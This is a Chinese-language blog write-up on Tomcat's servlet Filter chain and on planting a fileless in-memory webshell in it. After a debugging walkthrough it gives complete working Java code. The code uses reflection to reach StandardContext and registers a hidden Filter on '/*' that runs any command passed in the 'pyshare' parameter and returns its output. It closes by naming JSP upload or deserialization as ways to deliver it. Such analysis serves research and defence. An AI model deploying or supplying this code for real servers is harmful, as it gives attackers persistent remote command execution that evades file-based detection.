Filter内存马0x01Filter机制分析
- 当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
- 但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
- 只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能
我们创建一个Filter来进行动态调试
public class Filterdemo1 implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("构造初始化完成"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行了过滤操作"); filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { System.out.println("执行了销毁操作"); }}
在filterChain.doFilter(servletRequest,servletResponse);设置断点
步入后是执行doFilter方法继续步进
这个时候直接跳到了最后
继续步入,发现这个时候我们有个叫做filters的属性,然后里面有两个对象一个是我们自己创建的filterdemo另一个是一个叫tomcat websocket filter的对象,可以从名字中看出来tomcat会自动创建一个filter
看后面有个变量filters
追进去随后出来发现我们拿到的第一个filter使我们的filter继续往下走
随后调用了doFilter方法
继续往下走随后又回到了开始的地方
这个时候pos就等于2了代表我们拿到就是Tomcat WebScoket
步入到后面就调用了servlet的service方法
总体来说
执行的顺序就是那个filter链子然后tomcat会自动的再后面调用Tomcat自带的filter就会调用到serlvet
0x02Filter写马分析
分析之前先确定一下我们的目的我们的目的是写一个filter马,所以要去搞定怎么用我们传入的参数去创建一个filter
0x1创建filter
这些invoke是执行函数我们在最远的地方设置一个断点然后一步往前走发现,
我们看到现在的类是 StandardEngineValve
,对应的 Pipeline 就是 EnginePipeline
;它进行了 invoke() 方法的调用,这个 invoke() 方法的调用的目的地是 AbstractAccessLogValve
类的 invoke() 方法。其实这一步已经安排了一个 request, wrapper, servlet
传递的顺序。然后就网上一直调用
这里用个师傅的图:
随后我们看dofilter是怎么调用的
看到我们的FilterChain是怎么创建的
在这里是先判断了 FilterMaps 是否为空,若为空则会调用context.findFilterMaps()
从StandardContext
寻找并且返回一个FilterMap数组。看后面的构造
遍历StandardContext.filterMaps
得到filter与URL的映射关系并通过,然后通过一系列的匹配把它加入到StandardContext.filterConfigs
随后调用findFilterConfig
把这个数据加入到filter链里面去
0x2构造分析
流程很清晰,Tomcat会通过invoke方法创建一个filterchain然后doFilter()
—-> internalDoFilter()
—-> doFilter()
这样执行一个doFilter判断一次,最后一个会跳到servlet.service(),
然后filter的创建思路是
我们攻击的思路就是 createFilterChain()
这个方法会判断filterMaps
是否为空,如果是空的话回去StandardContext
寻找并且返回一个FilterMap数组,遍历StandardContext.filterMaps
得到filter与URL的映射关系然后用matchDispatcher()``matchFilterURL()方法
进行匹配,匹配成功后,还需判断StandardContext.filterConfigs
中,是否存在对应filter的实例,当实例不为空时通过addFilter
方法,将管理filter实例的filterConfig
添加入filterChain
对象
这样说下来就是我们要解决两个点一个是filtermaps,和filterconfigs都要加入我们构造的filter
而这个 filterMaps 中的数据对应 web.xml 中的 filter-mapping 标签,对应的是名字和映射路径,然后就是想办法给它加数据了
然后在类StandardContext 里面有这两个方法可以直接加进去这个数据
这里的改filtermaps就是更改webxml里面的配置看一下
StandardContext
这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。
里面有三个和Filter有关的成员变量:
filterMaps变量:包含所有过滤器的URL映射关系 filterDefs变量:包含所有过滤器包括实例内部等变量 filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理
filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig
对象的键值对,在ApplicationFilterConfig
对象中则存储了Filter实例以及该实例在web.xml中的注册信息。
存在的包含关系
filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef
的对象的键值对,而FilterDef
对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据
filterMaps 中的FilterMap
则记录了不同filter与UrlPattern
的映射关系
0x03exp构造
这里我怎么去动态的写入马呢
先去获取
StandardContext
- 获取
filterConfigs
- 获取
构造恶意的filter
- 构造一个filterDef
- FilterMaps对象
然后把filter,filterDef,FilterMaps都传入到filterConfigs中
0x1获取StandrdContext
ServletContext servletContext = req.getServletContext(); ApplicationContextFacade contextFacade = (ApplicationContextFacade) servletContext; Field applicationContextField = ApplicationContextFacade.class.getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(contextFacade); Field field = ApplicationContext.class.getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = null; standardContext = (StandardContext) field.get(applicationContext); Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); Map configs = (Map) filterConfigs.get(standardContext);
解释一下:在tomcat中ServletContext的实现是ApplicationContext。在Web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,。
拿的顺序就是
ServletContext
—-ApplicationContextFacade
——ApplicationContext
—–StandardContext
—–filterConfigs
0x2写马
写马,在dofilter中写
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException { String cmd; if ((cmd = servletRequest.getParameter("pyshare")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } }
反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); filterMap.addURLPattern("/*"); /** * 将filtermap 添加到 filterMaps 中的第一个位置 */ standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); configs.put(name,filterConfig);
0x3完整exp
public class filtershell2 extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doGet(req,resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { ServletContext servletContext = req.getServletContext(); ApplicationContextFacade contextFacade = (ApplicationContextFacade) servletContext; Field applicationContextField = ApplicationContextFacade.class.getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(contextFacade); Field field = ApplicationContext.class.getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = null; standardContext = (StandardContext) field.get(applicationContext); Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); Map configs = (Map) filterConfigs.get(standardContext); String name ="white_romm"; if (configs.get(name)==null){ Filter filter=new Filter(){ @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException { String cmd; if ((cmd = servletRequest.getParameter("pyshare")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); filterMap.addURLPattern("/*"); /** * 将filtermap 添加到 filterMaps 中的第一个位置 */ standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); configs.put(name,filterConfig); } } catch (IllegalAccessException | NoSuchFieldException e) { throw new RuntimeException(e); } catch (InvocationTargetException e) { throw new RuntimeException(e); } catch (NoSuchMethodException e) { throw new RuntimeException(e); } catch (InstantiationException e) { throw new RuntimeException(e); } }}
把这个对象打进tomcat然后访问一下我们的servlet的路径shell之后无论在那个路径使用马子都可以pyshare
0x04小结
总结下来就是要去获取StandardContext,然后利用反射的原理往里面注入一个Servlet,表现形式为 Filter。具体的实施可以是上传 .jsp 文件,也可以反序列化注入对象,比如说我们的cc11就可用加载字节码文件把他写到静态代码块中。